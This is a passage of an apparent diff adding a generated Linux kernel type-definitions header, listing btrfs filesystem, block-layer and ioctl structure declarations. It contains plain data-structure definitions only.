percpu_counter bio_counter; + wait_queue_head_t replace_wait; +}; + +struct btrfs_dev_replace_item { + __le64 src_devid; + __le64 cursor_left; + __le64 cursor_right; + __le64 cont_reading_from_srcdev_mode; + __le64 replace_state; + __le64 time_started; + __le64 time_stopped; + __le64 num_write_errors; + __le64 num_uncorrectable_read_errors; +}; + +struct btrfs_dev_stats_item { + __le64 values[5]; +}; + +struct extent_io_tree { + struct rb_root state; + union { + struct btrfs_fs_info *fs_info; + struct btrfs_inode *inode; + }; + u8 owner; + spinlock_t lock; +}; + +struct btrfs_fs_devices; + +struct rcu_string; + +struct btrfs_zoned_device_info; + +struct scrub_ctx; + +struct btrfs_device { + struct list_head dev_list; + struct list_head dev_alloc_list; + struct list_head post_commit_list; + struct btrfs_fs_devices *fs_devices; + struct btrfs_fs_info *fs_info; + struct rcu_string __attribute__((btf_type_tag("rcu"))) *name; + u64 generation; + struct file *bdev_file; + struct block_device *bdev; + struct btrfs_zoned_device_info *zone_info; + dev_t devt; + unsigned long dev_state; + blk_status_t last_flush_error; + u64 devid; + u64 total_bytes; + u64 disk_total_bytes; + u64 bytes_used; + u32 io_align; + u32 io_width; + u64 type; + atomic_t sb_write_errors; + u32 sector_size; + u8 uuid[16]; + u64 commit_total_bytes; + u64 commit_bytes_used; + struct bio flush_bio; + struct completion flush_wait; + struct scrub_ctx *scrub_ctx; + int dev_stats_valid; + atomic_t dev_stats_ccnt; + atomic_t dev_stat_values[5]; + struct extent_io_tree alloc_state; + struct completion kobj_unregister; + struct kobject devid_kobj; + u64 scrub_speed_max; +}; + +struct btrfs_device_info { + struct btrfs_device *dev; + u64 dev_offset; + u64 max_avail; + u64 total_avail; +}; + +struct extent_changeset; + +struct btrfs_dio_data { + ssize_t submitted; + struct extent_changeset *data_reserved; + struct btrfs_ordered_extent *ordered; + bool data_space_reserved; + bool nocow_done; +}; + +struct btrfs_dio_private { + u64 file_offset; + u32 bytes; + struct btrfs_bio bbio; +}; + +struct btrfs_dir_item { + struct btrfs_disk_key location; + __le64 transid; + __le16 data_len; + __le16 name_len; + __u8 type; +} __attribute__((packed)); + +struct btrfs_dir_list { + u64 ino; + struct list_head list; +}; + +struct btrfs_dir_log_item { + __le64 end; +}; + +struct btrfs_discard_ctl { + struct workqueue_struct *discard_workers; + struct delayed_work work; + spinlock_t lock; + struct btrfs_block_group *block_group; + struct list_head discard_list[3]; + u64 prev_discard; + u64 prev_discard_time; + atomic_t discardable_extents; + atomic64_t discardable_bytes; + u64 max_discard_size; + u64 delay_ms; + u32 iops_limit; + u32 kbps_limit; + u64 discard_extent_bytes; + u64 discard_bitmap_bytes; + atomic64_t discard_bytes_saved; +}; + +struct btrfs_discard_stripe { + struct btrfs_device *dev; + u64 physical; + u64 length; +}; + +struct btrfs_drew_lock { + atomic_t readers; + atomic_t writers; + wait_queue_head_t pending_writers; + wait_queue_head_t pending_readers; +}; + +struct btrfs_drop_extents_args { + struct btrfs_path *path; + u64 start; + u64 end; + bool drop_cache; + bool replace_extent; + u32 extent_item_size; + u64 drop_end; + u64 bytes_found; + bool extent_inserted; +}; + +struct btrfs_eb_write_context { + struct writeback_control *wbc; + struct extent_buffer *eb; + struct btrfs_block_group *zoned_bg; +}; + +struct btrfs_em_shrink_ctx { + long nr_to_scan; + long scanned; + u64 last_ino; + u64 last_root; +}; + +struct btrfs_encoded_read_private { + wait_queue_head_t wait; + atomic_t pending; + blk_status_t status; +}; + +struct btrfs_extent_data_ref { + __le64 root; + __le64 objectid; + __le64 offset; + __le32 count; +} __attribute__((packed)); + +struct btrfs_extent_inline_ref { + __u8 type; + __le64 offset; +} __attribute__((packed)); + +struct btrfs_extent_item { + __le64 refs; + __le64 generation; + __le64 flags; +}; + +struct btrfs_extent_owner_ref { + __le64 root_id; +}; + +struct btrfs_failed_bio { + struct btrfs_bio *bbio; + int num_copies; + atomic_t repair_count; +}; + +struct kobj_attribute { + struct attribute attr; + ssize_t (*show)(struct kobject *, struct kobj_attribute *, char *); + ssize_t (*store)(struct kobject *, struct kobj_attribute *, const char *, size_t); +}; + +struct btrfs_feature_attr { + struct kobj_attribute kobj_attr; + enum btrfs_feature_set feature_set; + u64 feature_bit; +}; + +struct btrfs_fid { + u64 objectid; + u64 root_objectid; + u32 gen; + u64 parent_objectid; + u32 parent_gen; + u64 parent_root_objectid; +} __attribute__((packed)); + +struct btrfs_fiemap_entry { + u64 offset; + u64 phys; + u64 len; + u32 flags; +}; + +struct btrfs_file_extent { + u64 disk_bytenr; + u64 disk_num_bytes; + u64 num_bytes; + u64 ram_bytes; + u64 offset; + u8 compression; +}; + +struct btrfs_file_extent_item { + __le64 generation; + __le64 ram_bytes; + __u8 compression; + __u8 encryption; + __le16 other_encoding; + __u8 type; + __le64 disk_bytenr; + __le64 disk_num_bytes; + __le64 offset; + __le64 num_bytes; +} __attribute__((packed)); + +struct extent_state; + +struct btrfs_file_private { + void *filldir_buf; + u64 last_index; + struct extent_state *llseek_cached_state; + struct task_struct *owner_task; +}; + +struct btrfs_free_cluster { + spinlock_t lock; + spinlock_t refill_lock; + struct rb_root root; + u64 max_size; + u64 window_start; + bool fragmented; + struct btrfs_block_group *block_group; + struct list_head block_group_list; +}; + +struct btrfs_free_space { + struct rb_node offset_index; + struct rb_node bytes_index; + u64 offset; + u64 bytes; + u64 max_extent_size; + unsigned long *bitmap; + struct list_head list; + enum btrfs_trim_state trim_state; + s32 bitmap_extents; +}; + +struct btrfs_free_space_op; + +struct btrfs_free_space_ctl { + spinlock_t tree_lock; + struct rb_root free_space_offset; + struct rb_root_cached free_space_bytes; + u64 free_space; + int extents_thresh; + int free_extents; + int total_bitmaps; + int unit; + u64 start; + s32 discardable_extents[2]; + s64 discardable_bytes[2]; + const struct btrfs_free_space_op *op; + struct btrfs_block_group *block_group; + struct mutex cache_writeout_mutex; + struct list_head trimming_ranges; +}; + +struct btrfs_free_space_entry { + __le64 offset; + __le64 bytes; + __u8 type; +} __attribute__((packed)); + +struct btrfs_free_space_header { + struct btrfs_disk_key location; + __le64 generation; + __le64 num_entries; + __le64 num_bitmaps; +} __attribute__((packed)); + +struct btrfs_free_space_info { + __le32 extent_count; + __le32 flags; +}; + +struct btrfs_free_space_op { + bool (*use_bitmap)(struct btrfs_free_space_ctl *, struct btrfs_free_space *); +}; + +struct btrfs_fs_context { + char *subvol_name; + u64 subvol_objectid; + u64 max_inline; + u32 commit_interval; + u32 metadata_ratio; + u32 thread_pool_size; + unsigned long long mount_opt; + unsigned long compress_type: 4; + unsigned int compress_level; + refcount_t refs; +}; + +struct btrfs_fs_devices { + u8 fsid[16]; + u8 metadata_uuid[16]; + struct list_head fs_list; + u64 num_devices; + u64 open_devices; + u64 rw_devices; + u64 missing_devices; + u64 total_rw_bytes; + u64 total_devices; + u64 latest_generation; + struct btrfs_device *latest_dev; + struct mutex device_list_mutex; + struct list_head devices; + struct list_head alloc_list; + struct list_head seed_list; + int opened; + bool rotating; + bool discardable; + bool seeding; + bool temp_fsid; + struct btrfs_fs_info *fs_info; + struct kobject fsid_kobj; + struct kobject *devices_kobj; + struct kobject *devinfo_kobj; + struct completion kobj_unregister; + enum btrfs_chunk_allocation_policy chunk_alloc_policy; + enum btrfs_read_policy read_policy; +}; + +struct semaphore { + raw_spinlock_t lock; + unsigned int count; + struct list_head wait_list; +}; + +struct queue_limits { + blk_features_t features; + blk_flags_t flags; + unsigned long seg_boundary_mask; + unsigned long virt_boundary_mask; + unsigned int max_hw_sectors; + unsigned int max_dev_sectors; + unsigned int chunk_sectors; + unsigned int max_sectors; + unsigned int max_user_sectors; + unsigned int max_segment_size; + unsigned int physical_block_size; + unsigned int logical_block_size; + unsigned int alignment_offset; + unsigned int io_min; + unsigned int io_opt; + unsigned int max_discard_sectors; + unsigned int max_hw_discard_sectors; + unsigned int max_user_discard_sectors; + unsigned int max_secure_erase_sectors; + unsigned int max_write_zeroes_sectors; + unsigned int max_zone_append_sectors; + unsigned int discard_granularity; + unsigned int discard_alignment; + unsigned int zone_write_granularity; + unsigned int atomic_write_hw_max; + unsigned int atomic_write_max_sectors; + unsigned int atomic_write_hw_boundary; + unsigned int atomic_write_boundary_sectors; + unsigned int atomic_write_hw_unit_min; + unsigned int atomic_write_unit_min; + unsigned int atomic_write_hw_unit_max; + unsigned int atomic_write_unit_max; + unsigned short max_segments; + unsigned short max_integrity_segments; + unsigned short max_discard_segments; + unsigned int max_open_zones; + unsigned int max_active_zones; + unsigned int dma_alignment; + unsigned int dma_pad_mask; + struct blk_integrity integrity; +}; + +struct btrfs_transaction; + +struct btrfs_super_block; + +struct btrfs_stripe_hash_table; + +struct reloc_control; + +struct crypto_shash; + +struct btrfs_fs_info { + u8 chunk_tree_uuid[16]; + unsigned long flags; + struct btrfs_root *tree_root; + struct btrfs_root *chunk_root; + struct btrfs_root *dev_root; + struct btrfs_root *fs_root; + struct btrfs_root *quota_root; + struct btrfs_root *uuid_root; + struct btrfs_root *data_reloc_root; + struct btrfs_root *block_group_root; + struct btrfs_root *stripe_root; + struct btrfs_root *log_root_tree; + rwlock_t global_root_lock; + struct rb_root global_root_tree; + spinlock_t fs_roots_radix_lock; + struct xarray fs_roots_radix; + rwlock_t block_group_cache_lock; + struct rb_root_cached block_group_cache_tree; + atomic64_t free_chunk_space; + struct extent_io_tree excluded_extents; + struct rb_root_cached mapping_tree; + rwlock_t mapping_tree_lock; + struct btrfs_block_rsv global_block_rsv; + struct btrfs_block_rsv trans_block_rsv; + struct btrfs_block_rsv chunk_block_rsv; + struct btrfs_block_rsv delayed_block_rsv; + struct btrfs_block_rsv delayed_refs_rsv; + struct btrfs_block_rsv empty_block_rsv; + u64 generation; + u64 last_trans_committed; + u64 last_reloc_trans; + u64 last_trans_log_full_commit; + unsigned long long mount_opt; + unsigned long compress_type: 4; + unsigned int compress_level; + u32 commit_interval; + u64 max_inline; + struct btrfs_transaction *running_transaction; + wait_queue_head_t transaction_throttle; + wait_queue_head_t transaction_wait; + wait_queue_head_t transaction_blocked_wait; + wait_queue_head_t async_submit_wait; + spinlock_t super_lock; + struct btrfs_super_block *super_copy; + struct btrfs_super_block *super_for_commit; + struct super_block *sb; + struct inode *btree_inode; + struct mutex tree_log_mutex; + struct mutex transaction_kthread_mutex; + struct mutex cleaner_mutex; + struct mutex chunk_mutex; + struct mutex ro_block_group_mutex; + struct btrfs_stripe_hash_table *stripe_hash_table; + struct mutex ordered_operations_mutex; + struct rw_semaphore commit_root_sem; + struct rw_semaphore cleanup_work_sem; + struct rw_semaphore subvol_sem; + spinlock_t trans_lock; + struct mutex reloc_mutex; + struct list_head trans_list; + struct list_head dead_roots; + struct list_head caching_block_groups; + spinlock_t delayed_iput_lock; + struct list_head delayed_iputs; + atomic_t nr_delayed_iputs; + wait_queue_head_t delayed_iputs_wait; + atomic64_t tree_mod_seq; + rwlock_t tree_mod_log_lock; + struct rb_root tree_mod_log; + struct list_head tree_mod_seq_list; + atomic_t async_delalloc_pages; + spinlock_t ordered_root_lock; + struct list_head ordered_roots; + struct mutex delalloc_root_mutex; + spinlock_t delalloc_root_lock; + struct list_head delalloc_roots; + struct btrfs_workqueue *workers; + struct btrfs_workqueue *delalloc_workers; + struct btrfs_workqueue *flush_workers; + struct workqueue_struct *endio_workers; + struct workqueue_struct *endio_meta_workers; + struct workqueue_struct *rmw_workers; + struct workqueue_struct *compressed_write_workers; + struct btrfs_workqueue *endio_write_workers; + struct btrfs_workqueue *endio_freespace_worker; + struct btrfs_workqueue *caching_workers; + struct btrfs_workqueue *fixup_workers; + struct btrfs_workqueue *delayed_workers; + struct task_struct *transaction_kthread; + struct task_struct *cleaner_kthread; + u32 thread_pool_size; + struct kobject *space_info_kobj; + struct kobject *qgroups_kobj; + struct kobject *discard_kobj; + struct percpu_counter dirty_metadata_bytes; + struct percpu_counter delalloc_bytes; + struct percpu_counter ordered_bytes; + s32 dirty_metadata_batch; + s32 delalloc_batch; + struct percpu_counter evictable_extent_maps; + spinlock_t extent_map_shrinker_lock; + u64 extent_map_shrinker_last_root; + u64 extent_map_shrinker_last_ino; + struct list_head dirty_cowonly_roots; + struct btrfs_fs_devices *fs_devices; + struct list_head space_info; + struct btrfs_space_info *data_sinfo; + struct reloc_control *reloc_ctl; + struct btrfs_free_cluster data_alloc_cluster; + struct btrfs_free_cluster meta_alloc_cluster; + spinlock_t defrag_inodes_lock; + struct rb_root defrag_inodes; + atomic_t defrag_running; + seqlock_t profiles_lock; + u64 avail_data_alloc_bits; + u64 avail_metadata_alloc_bits; + u64 avail_system_alloc_bits; + spinlock_t balance_lock; + struct mutex balance_mutex; + atomic_t balance_pause_req; + atomic_t balance_cancel_req; + struct btrfs_balance_control *balance_ctl; + wait_queue_head_t balance_wait_q; + atomic_t reloc_cancel_req; + u32 data_chunk_allocations; + u32 metadata_ratio; + void *bdev_holder; + struct mutex scrub_lock; + atomic_t scrubs_running; + atomic_t scrub_pause_req; + atomic_t scrubs_paused; + atomic_t scrub_cancel_req; + wait_queue_head_t scrub_pause_wait; + refcount_t scrub_workers_refcnt; + u32 sectors_per_page; + struct workqueue_struct *scrub_workers; + struct btrfs_discard_ctl discard_ctl; + u64 qgroup_flags; + struct rb_root qgroup_tree; + spinlock_t qgroup_lock; + struct ulist *qgroup_ulist; + struct mutex qgroup_ioctl_lock; + struct list_head dirty_qgroups; + u64 qgroup_seq; + struct mutex qgroup_rescan_lock; + struct btrfs_key qgroup_rescan_progress; + struct btrfs_workqueue *qgroup_rescan_workers; + struct completion qgroup_rescan_completion; + struct btrfs_work qgroup_rescan_work; + bool qgroup_rescan_running; + u8 qgroup_drop_subtree_thres; + u64 qgroup_enable_gen; + int fs_error; + unsigned long fs_state; + struct btrfs_delayed_root *delayed_root; + spinlock_t buffer_lock; + struct xarray buffer_radix; + int backup_root_index; + struct btrfs_dev_replace dev_replace; + struct semaphore uuid_tree_rescan_sem; + struct work_struct async_reclaim_work; + struct work_struct async_data_reclaim_work; + struct work_struct preempt_reclaim_work; + struct work_struct reclaim_bgs_work; + struct list_head reclaim_bgs; + int bg_reclaim_threshold; + spinlock_t unused_bgs_lock; + struct list_head unused_bgs; + struct mutex unused_bg_unpin_mutex; + struct mutex reclaim_bgs_lock; + u32 nodesize; + u32 sectorsize; + u32 sectorsize_bits; + u32 csum_size; + u32 csums_per_leaf; + u32 stripesize; + u64 max_extent_size; + spinlock_t swapfile_pins_lock; + struct rb_root swapfile_pins; + struct crypto_shash *csum_shash; + enum btrfs_exclusive_operation exclusive_operation; + u64 zone_size; + struct queue_limits limits; + u64 max_zone_append_size; + struct mutex zoned_meta_io_lock; + spinlock_t treelog_bg_lock; + u64 treelog_bg; + spinlock_t relocation_bg_lock; + u64 data_reloc_bg; + struct mutex zoned_data_reloc_io_lock; + struct btrfs_block_group *active_meta_bg; + struct btrfs_block_group *active_system_bg; + u64 nr_global_roots; + spinlock_t zone_active_bgs_lock; + struct list_head zone_active_bgs; + struct btrfs_commit_stats commit_stats; + u64 last_root_drop_gen; + struct lockdep_map btrfs_trans_num_writers_map; + struct lockdep_map btrfs_trans_num_extwriters_map; + struct lockdep_map btrfs_state_change_map[4]; + struct lockdep_map btrfs_trans_pending_ordered_map; + struct lockdep_map btrfs_ordered_extent_map; +}; + +struct btrfs_header { + __u8 csum[32]; + __u8 fsid[16]; + __le64 bytenr; + __le64 flags; + __u8 chunk_tree_uuid[16]; + __le64 generation; + __le64 owner; + __le32 nritems; + __u8 level; +} __attribute__((packed)); + +struct btrfs_iget_args { + u64 ino; + struct btrfs_root *root; +}; + +struct btrfs_ino_list { + u64 ino; + u64 parent; + struct list_head list; +}; + +struct extent_map_tree { + struct rb_root root; + struct list_head modified_extents; + rwlock_t lock; +}; + +struct btrfs_inode { + struct btrfs_root *root; + u8 prop_compress; + u8 defrag_compress; + spinlock_t lock; + struct extent_map_tree extent_tree; + struct extent_io_tree io_tree; + struct extent_io_tree *file_extent_tree; + struct mutex log_mutex; + unsigned int outstanding_extents; + spinlock_t ordered_tree_lock; + struct rb_root ordered_tree; + struct rb_node *ordered_tree_last; + struct list_head delalloc_inodes; + unsigned long runtime_flags; + u64 generation; + u64 last_trans; + u64 logged_trans; + int last_sub_trans; + int last_log_commit; + union { + u64 delalloc_bytes; + u64 first_dir_index_to_log; + }; + union { + u64 new_delalloc_bytes; + u64 last_dir_index_offset; + }; + union { + u64 defrag_bytes; + u64 reloc_block_group_start; + }; + u64 disk_i_size; + union { + u64 index_cnt; + u64 csum_bytes; + }; + u64 dir_index; + u64 last_unlink_trans; + union { + u64 last_reflink_trans; + u64 ref_root_id; + }; + u32 flags; + u32 ro_flags; + struct btrfs_block_rsv block_rsv; + struct btrfs_delayed_node *delayed_node; + u64 i_otime_sec; + u32 i_otime_nsec; + struct list_head delayed_iput; + struct rw_semaphore i_mmap_lock; + struct inode vfs_inode; +}; + +struct btrfs_inode_extref { + __le64 parent_objectid; + __le64 index; + __le16 name_len; + __u8 name[0]; +} __attribute__((packed)); + +struct btrfs_inode_info { + u64 size; + u64 gen; + u64 mode; + u64 uid; + u64 gid; + u64 rdev; + u64 fileattr; + u64 nlink; +}; + +struct btrfs_inode_ref { + __le64 index; + __le16 name_len; +} __attribute__((packed)); + +struct btrfs_io_context { + refcount_t refs; + struct btrfs_fs_info *fs_info; + u64 map_type; + struct bio *orig_bio; + atomic_t error; + u16 max_errors; + u64 logical; + u64 size; + struct list_head rst_ordered_entry; + u16 num_stripes; + u16 mirror_num; + u16 replace_nr_stripes; + s16 replace_stripe_src; + u64 full_stripe_logical; + struct btrfs_io_stripe stripes[0]; +}; + +struct btrfs_io_geometry { + u32 stripe_index; + u32 stripe_nr; + int mirror_num; + int num_stripes; + u64 stripe_offset; + u64 raid56_full_stripe_start; + int max_errors; + enum btrfs_map_op op; +}; + +struct btrfs_ioctl_balance_args { + __u64 flags; + __u64 state; + struct btrfs_balance_args data; + struct btrfs_balance_args meta; + struct btrfs_balance_args sys; + struct btrfs_balance_progress stat; + __u64 unused[72]; +}; + +struct btrfs_ioctl_defrag_range_args { + __u64 start; + __u64 len; + __u64 flags; + __u32 extent_thresh; + __u32 compress_type; + __u32 unused[4]; +}; + +struct btrfs_ioctl_dev_info_args { + __u64 devid; + __u8 uuid[16]; + __u64 bytes_used; + __u64 total_bytes; + __u8 fsid[16]; + __u64 unused[377]; + __u8 path[1024]; +}; + +struct btrfs_ioctl_dev_replace_start_params { + __u64 srcdevid; + __u64 cont_reading_from_srcdev_mode; + __u8 srcdev_name[1025]; + __u8 tgtdev_name[1025]; +}; + +struct btrfs_ioctl_dev_replace_status_params { + __u64 replace_state; + __u64 progress_1000; + __u64 time_started; + __u64 time_stopped; + __u64 num_write_errors; + __u64 num_uncorrectable_read_errors; +}; + +struct btrfs_ioctl_dev_replace_args { + __u64 cmd; + __u64 result; + union { + struct btrfs_ioctl_dev_replace_start_params start; + struct btrfs_ioctl_dev_replace_status_params status; + }; + __u64 spare[64]; +}; + +struct btrfs_ioctl_encoded_io_args { + const struct iovec __attribute__((btf_type_tag("user"))) *iov; + unsigned long iovcnt; + __s64 offset; + __u64 flags; + __u64 len; + __u64 unencoded_len; + __u64 unencoded_offset; + __u32 compression; + __u32 encryption; + __u8 reserved[64]; +}; + +struct btrfs_ioctl_feature_flags { + __u64 compat_flags; + __u64 compat_ro_flags; + __u64 incompat_flags; +}; + +struct btrfs_ioctl_fs_info_args { + __u64 max_id; + __u64 num_devices; + __u8 fsid[16]; + __u32 nodesize; + __u32 sectorsize; + __u32 clone_alignment; + __u16 csum_type; + __u16 csum_size; + __u64 flags; + __u64 generation; + __u8 metadata_uuid[16]; + __u8 reserved[944]; +}; + +struct btrfs_ioctl_get_dev_stats { + __u64 devid; + __u64 nr_items; + __u64 flags; + __u64 values[5]; + __u64 unused[121]; +}; + +struct btrfs_ioctl_timespec { + __u64 sec; + __u32 nsec; +}; + +struct btrfs_ioctl_get_subvol_info_args { + __u64 treeid; + char name[256]; + __u64 parent_id; + __u64 dirid; + __u64 generation; + __u64 flags; + __u8 uuid[16]; + __u8 parent_uuid[16]; + __u8 received_uuid[16]; + __u64 ctransid; + __u64 otransid; + __u64 stransid; + __u64 rtransid; + struct btrfs_ioctl_timespec ctime; + struct btrfs_ioctl_timespec otime; + struct btrfs_ioctl_timespec stime; + struct btrfs_ioctl_timespec rtime; + __u64 reserved[8]; +}; + +struct btrfs_ioctl_get_subvol_rootref_args { + __u64 min_treeid; + struct { + __u64 treeid; + __u64 dirid; + } rootref[255]; + __u8 num_items; + __u8 align[7]; +}; + +struct btrfs_ioctl_ino_lookup_args { + __u64 treeid; + __u64 objectid; + char name[4080]; +}; + +struct btrfs_ioctl_ino_lookup_user_args { + __u64 dirid; + __u64 treeid; + char name[256]; + char path[3824]; +}; + +struct btrfs_ioctl_ino_path_args { + __u64 inum; + __u64 size; + __u64 reserved[4]; + __u64 fspath; +}; + +struct btrfs_ioctl_logical_ino_args { + __u64 logical; + __u64 size; + __u64 reserved[3]; + __u64 flags; + __u64 inodes; +}; + +struct btrfs_ioctl_qgroup_assign_args { + __u64 assign; + __u64 src; + __u64 dst; +}; + +struct btrfs_ioctl_qgroup_create_args { + __u64 create; + __u64 qgroupid; +}; + +struct btrfs_qgroup_limit { + __u64 flags; + __u64 max_rfer; + __u64 max_excl; + __u64 rsv_rfer; + __u64 rsv_excl; +}; + +struct btrfs_ioctl_qgroup_limit_args { + __u64 qgroupid; + struct btrfs_qgroup_limit lim; +}; + +struct btrfs_ioctl_quota_ctl_args { + __u64 cmd; + __u64 status; +}; + +struct btrfs_ioctl_quota_rescan_args { + __u64 flags; + __u64 progress; + __u64 reserved[6]; +}; + +struct btrfs_ioctl_received_subvol_args { + char uuid[16]; + __u64 stransid; + __u64 rtransid; + struct btrfs_ioctl_timespec stime; + struct btrfs_ioctl_timespec rtime; + __u64 flags; + __u64 reserved[16]; +}; + +struct btrfs_ioctl_timespec_32 { + __u64 sec; + __u32 nsec; +} __attribute__((packed)); + +struct btrfs_ioctl_received_subvol_args_32 { + char uuid[16]; + __u64 stransid; + __u64 rtransid; + struct btrfs_ioctl_timespec_32 stime; + struct btrfs_ioctl_timespec_32 rtime; + __u64 flags; + __u64 reserved[16]; +}; + +struct btrfs_ioctl_scrub_args { + __u64 devid; + __u64 start; + __u64 end; + __u64 flags; + struct btrfs_scrub_progress progress; + __u64 unused[109]; +}; + +struct btrfs_ioctl_search_key { + __u64 tree_id; + __u64 min_objectid; + __u64 max_objectid; + __u64 min_offset; + __u64 max_offset; + __u64 min_transid; + __u64 max_transid; + __u32 min_type; + __u32 max_type; + __u32 nr_items; + __u32 unused; + __u64 unused1; + __u64 unused2; + __u64 unused3; + __u64 unused4; +}; + +struct btrfs_ioctl_search_args { + struct btrfs_ioctl_search_key key; + char buf[3992]; +}; + +struct btrfs_ioctl_search_args_v2 { + struct btrfs_ioctl_search_key key; + __u64 buf_size; + __u64 buf[0]; +}; + +struct btrfs_ioctl_search_header { + __u64 transid; + __u64 objectid; + __u64 offset; + __u32 type; + __u32 len; +}; + +struct btrfs_ioctl_send_args { + __s64 send_fd; + __u64 clone_sources_count; + __u64 __attribute__((btf_type_tag("user"))) *clone_sources; + __u64 parent_root; + __u64 flags; + __u32 version; + __u8 reserved[28]; +}; + +struct btrfs_ioctl_space_info { + __u64 flags; + __u64 total_bytes; + __u64 used_bytes; +}; + +struct btrfs_ioctl_space_args { + __u64 space_slots; + __u64 total_spaces; + struct btrfs_ioctl_space_info spaces[0]; +}; + +struct btrfs_ioctl_vol_args { + __s64 fd; + char name[4088]; +}; + +struct btrfs_qgroup_inherit; + +struct btrfs_ioctl_vol_args_v2 { + __s64 fd; + __u64 transid; + __u64 flags; + union { + struct { + __u64 size; + struct btrfs_qgroup_inherit __attribute__((btf_type_tag("user"))) *qgroup_inherit; + }; + __u64 unused[4]; + }; + union { + char name[4040]; + __u64 devid; + __u64 subvolid; + }; +}; + +struct btrfs_item { + struct btrfs_disk_key key; + __le32 offset; + __le32 size; +} __attribute__((packed)); + +struct btrfs_item_batch { + const struct btrfs_key *keys; + const u32 *data_sizes; + u32 total_data_size; + int nr; +}; + +struct btrfs_key_ptr { + struct btrfs_disk_key key; + __le64 blockptr; + __le64 generation; +} __attribute__((packed)); + +struct btrfs_lockdep_keyset { + u64 id; + char names[192]; + struct lock_class_key keys[8]; +}; + +struct btrfs_log_ctx { + int log_ret; + int log_transid; + bool log_new_dentries; + bool logging_new_name; + bool logging_new_delayed_dentries; + bool logged_before; + struct btrfs_inode *inode; + struct list_head list; + struct list_head ordered_extents; + struct list_head conflict_inodes; + int num_conflict_inodes; + bool logging_conflict_inodes; + struct extent_buffer *scratch_eb; +}; + +struct btrfs_lru_cache { + struct list_head lru_list; + struct maple_tree entries; + unsigned int size; + unsigned int max_size; +}; + +struct btrfs_map_token { + struct extent_buffer *eb; + char *kaddr; + unsigned long offset; +}; + +struct fscrypt_str { + unsigned char *name; + u32 len; +}; + +struct fscrypt_name { + const struct qstr *usr_fname; + struct fscrypt_str disk_name; + u32 hash; + u32 minor_hash; + struct fscrypt_str crypto_buf; + bool is_nokey_name; +}; + +struct btrfs_new_inode_args { + struct inode *dir; + struct dentry *dentry; + struct inode *inode; + bool orphan; + bool subvol; + struct posix_acl *default_acl; + struct posix_acl *acl; + struct fscrypt_name fname; +}; + +struct btrfs_ordered_extent { + u64 file_offset; + u64 num_bytes; + u64 ram_bytes; + u64 disk_bytenr; + u64 disk_num_bytes; + u64 offset; + u64 bytes_left; + u64 truncated_len; + unsigned long flags; + int compress_type; + int qgroup_rsv; + refcount_t refs; + struct btrfs_inode *inode; + struct list_head list; + struct list_head log_list; + wait_queue_head_t wait; + struct rb_node rb_node; + struct list_head root_extent_list; + struct btrfs_work work; + struct completion completion; + struct btrfs_work flush_work; + struct list_head work_list; + struct list_head bioc_list; +}; + +struct btrfs_ordered_sum { + u64 logical; + u32 len; + struct list_head list; + u8 sums[0]; +}; + +struct btrfs_path { + struct extent_buffer *nodes[8]; + int slots[8]; + u8 locks[8]; + u8 reada; + u8 lowest_level; + unsigned int search_for_split: 1; + unsigned int keep_locks: 1; + unsigned int skip_locking: 1; + unsigned int search_commit_root: 1; + unsigned int need_commit_sem: 1; + unsigned int skip_release_on_error: 1; + unsigned int search_for_extension: 1; + unsigned int nowait: 1; +}; + +struct btrfs_root_item; + +struct btrfs_pending_snapshot { + struct dentry *dentry; + struct btrfs_inode *dir; + struct btrfs_root *root; + struct btrfs_root_item *root_item; + struct btrfs_root *snap; + struct btrfs_qgroup_inherit *inherit; + struct btrfs_path *path; + struct btrfs_block_rsv block_rsv; + int error; + dev_t anon_dev; + bool readonly; + struct list_head list; +}; + +struct btrfs_plug_cb { + struct blk_plug_cb cb; + struct btrfs_fs_info *info; + struct list_head rbio_list; +}; + +struct btrfs_qgroup_rsv { + u64 values[3]; +}; + +struct btrfs_qgroup { + u64 qgroupid; + u64 rfer; + u64 rfer_cmpr; + u64 excl; + u64 excl_cmpr; + u64 lim_flags; + u64 max_rfer; + u64 max_excl; + u64 rsv_rfer; + u64 rsv_excl; + struct btrfs_qgroup_rsv rsv; + struct list_head groups; + struct list_head members; + struct list_head dirty; + struct list_head iterator; + struct list_head nested_iterator; + struct rb_node node; + u64 old_refcnt; + u64 new_refcnt; + struct kobject kobj; +}; + +struct btrfs_qgroup_extent_record { + u64 bytenr; + u64 num_bytes; + u32 data_rsv; + u64 data_rsv_refroot; + struct ulist *old_roots; +}; + +struct btrfs_qgroup_info_item { + __le64 generation; + __le64 rfer; + __le64 rfer_cmpr; + __le64 excl; + __le64 excl_cmpr; +}; + +struct btrfs_qgroup_inherit { + __u64 flags; + __u64 num_qgroups; + __u64 num_ref_copies; + __u64 num_excl_copies; + struct btrfs_qgroup_limit lim; + __u64 qgroups[0]; +}; + +struct btrfs_qgroup_limit_item { + __le64 flags; + __le64 max_rfer; + __le64 max_excl; + __le64 rsv_rfer; + __le64 rsv_excl; +}; + +struct btrfs_qgroup_list { + struct list_head next_group; + struct list_head next_member; + struct btrfs_qgroup *group; + struct btrfs_qgroup *member; +}; + +struct btrfs_qgroup_status_item { + __le64 version; + __le64 generation; + __le64 flags; + __le64 rescan; + __le64 enable_gen; +}; + +struct btrfs_qgroup_swapped_block { + struct rb_node node; + int level; + bool trace_leaf; + u64 subvol_bytenr; + u64 subvol_generation; + u64 reloc_bytenr; + u64 reloc_generation; + u64 last_snapshot; + struct btrfs_key first_key; +}; + +struct btrfs_qgroup_swapped_blocks { + spinlock_t lock; + bool swapped; + struct rb_root blocks[8]; +}; + +struct btrfs_raid_attr { + u8 sub_stripes; + u8 dev_stripes; + u8 devs_max; + u8 devs_min; + u8 tolerated_failures; + u8 devs_increment; + u8 ncopies; + u8 nparity; + u8 mindev_error; + const char raid_name[8]; + u64 bg_flag; +}; + +struct sector_ptr; + +struct btrfs_raid_bio { + struct btrfs_io_context *bioc; + struct list_head hash_list; + struct list_head stripe_cache; + struct work_struct work; + struct bio_list bio_list; + spinlock_t bio_list_lock; + struct list_head plug_list; + unsigned long flags; + enum btrfs_rbio_ops operation; + u16 nr_pages; + u16 nr_sectors; + u8 nr_data; + u8 real_stripes; + u8 stripe_npages; + u8 stripe_nsectors; + u8 scrubp; + int bio_list_bytes; + refcount_t refs; + atomic_t stripes_pending; + wait_queue_head_t io_wait; + unsigned long dbitmap; + unsigned long finish_pbitmap; + struct page **stripe_pages; + struct sector_ptr *bio_sectors; + struct sector_ptr *stripe_sectors; + void **finish_pointers; + unsigned long *error_bitmap; + u8 *csum_buf; + unsigned long *csum_bitmap; +}; + +struct btrfs_raid_stride { + __le64 devid; + __le64 physical; +}; + +struct btrfs_ref { + enum btrfs_ref_type type; + enum btrfs_delayed_ref_action action; + 